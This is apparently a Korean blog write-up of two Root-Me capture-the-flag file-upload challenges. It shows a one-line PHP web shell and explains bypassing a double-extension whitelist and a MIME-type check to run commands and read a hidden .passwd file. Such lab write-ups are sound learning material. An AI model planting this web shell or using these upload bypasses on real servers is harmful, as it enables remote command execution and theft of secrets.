1. File upload- Double extensions
=> Your goal is to hack this photo gallery by uploading PHP code.
Retrieve the validation password in the file .passwd at the root of the application.
-> 일단 파일을 업로드하여 웹쉘을 올려야 할 듯 싶었다. 업로드 창을 자세히 살펴보니 화이트리스트 방식으로 jpeg등의 이미지 파일만 허용하는 식이었다. 제목에도 double extension이라 나와있으니까 확장자를 두개 연결해주는 식으로 업로드했더니 우회가 가능했다. 물론 이 방법은 요즘은 잘 안먹힐 듯 싶다..!
<?php
system($_GET['cmd']);
?>
=> 간단하게 웹 쉘 코드를 짜서 올렸다.
-> 이 파일을 업로드 하고 확인해보았더니 빈 커맨드를 실행할 수 없다는 경고가 떴다. 웹쉘이 정상적으로 올려진 것이다.
: 일단 구조를 파악하기 위해 pwd 명령어를 사용하였더니 이렇게 디렉토리가 떴다.
: 이제는 .passwd를 찾아야 하므로 노가다이다. cd ../ 명령어를 굉장히 많이 붙이면 root라는 디렉토리가 있어서 접근 가능한줄 알았지만, 그건 실패했다. .passwd를 숨겨놓았을 것 같아서 cd ../;ls -a; 명령어를 입력해보면서 상위 디렉토리로 세번 정도 이동하면 진짜 .passwd; (중간에 빈 가짜가 있다) 파일을 찾아서 cat하면 문제가 풀린다.
2, File Upload- MIME type
: 문제는 아까와 동일하다.
-> 아까와는 다르게 파일의 mime type 까지 확인을 할수가 있다. 그래서 일단 attack.php.jpeg파일로 업로드 하고
-> content-Type:image/jpeg에서 text/html로 바꿔 주었는데 업로드가 안됐다. mime type과 확장자를 둘다 필터링 하는 모양이다. 그런데 생각을 해보니 복잡하게 할 필요 없이 그냥 간단하게 php파일을 업로드하고 거기서 content type을 image/jpeg로 바꾸면 될 듯 싶었다.
역시 동일하게 /challenge/web-serveur/ch21/ 디렉토리에서 .passwd파일을 찾아서 업로드할 수 있다.
-> 파일 업로드 취약점을 여러가지 알게 된것 같다!
'Wargame > Root-Me' 카테고리의 다른 글
Web-Server) File upload(Null byte), php assert() (0) | 2020.02.19 |
---|---|
Web-Server) HTTP cookie~ Directory Traversal (0) | 2020.02.16 |
Web-Server) Improper Redirect~ CRLF (0) | 2020.02.13 |
Web-Client) javascript 관련 문제 (0) | 2020.01.18 |
Web-Server) improper redirect (0) | 2020.01.16 |